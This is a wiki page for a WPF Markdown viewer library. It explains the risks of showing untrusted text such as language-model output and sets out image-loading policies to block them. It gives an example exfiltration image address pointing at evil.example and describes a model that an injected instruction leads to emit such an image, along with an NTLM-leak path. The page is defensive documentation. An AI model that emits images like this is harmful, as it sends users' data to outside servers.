Skip to content

Untrusted Text

Pavel edited this page Oct 19, 2026 · 5 revisions

English | Русский

The viewer is often given text that nobody in your application wrote: a chat message, the answer of a language model, a file from the internet. Such text cannot run code in the viewer, but its images can send requests in its name.

What images can do

The standard loader loads an image by its address as soon as the image is shown:

  • A leak of the Windows password hash. ![](file://server/share/x.png) or a UNC path makes Windows connect to that server and offer it the NTLM hash of the account. Such paths are blocked by default.
  • Data leaving with the address. A model told by an injected instruction to show ![](https://evil.example/?q=…) with your data in the address sends that data just by being shown.
  • Tracking. The server of an image learns who opened the message and when.

Turning loading down

ImagePolicy decides which images reach the loader; an image that does not pass shows its alt text. The property is inherited: set it on a window or a list of messages.

Policy Loads
MdImagePolicy.Default everything the loader can, except files on other computers
MdImagePolicy.Offline own files, application resources and images inside the document — no network
MdImagePolicy.Untrusted only application resources and images inside the document (data:)

ChatView.xaml, a list of messages:

<ListBox ItemsSource="{Binding Messages}"
         md:MarkdownViewer.ImagePolicy="{x:Static md:MdImagePolicy.Untrusted}" />

A policy of your own lists the schemes and the hosts of the web it lets through.

MainWindow.xaml.cs, in the constructor after InitializeComponent() (using Beresta.Markdown.Wpf;):

Viewer.ImagePolicy = new MdImagePolicy
{
    Schemes = ["https", "data"],
    Hosts = ["cdn.example.com"]
};

AllowNetworkFiles = true lets files on other computers through — for documents that really live on a network share.

What is safe already

  • Links do not open by themselves: only on a click, and the standard opener opens only addresses of the web and mail — see Application Links.
  • Copying puts on the clipboard the HTML of what is on the screen: an image the policy did not let through goes as its alt text — see Copying.
  • HTML does not run: known tags only format the text, the rest is shown as text — see How It Renders. An <img> is an image like any other and obeys ImagePolicy. To show every tag as text, turn HTML off with DisableHtml() in PipelineSetup — see Supported Markdown.
  • Deep nesting does not overflow the stack: quotes, lists and emphasis nested deeper than the limit are shown as their source text — see How It Renders.

Beresta.Markdown.Wpf

Basics

Working with Text

Appearance

Integration

Editing

Your Own Syntax

Ready-made Extensions


По-русски

Основы

Работа с текстом

Оформление

Встраивание в приложение

Правка

Свой синтаксис

Готовые расширения

Clone this wiki locally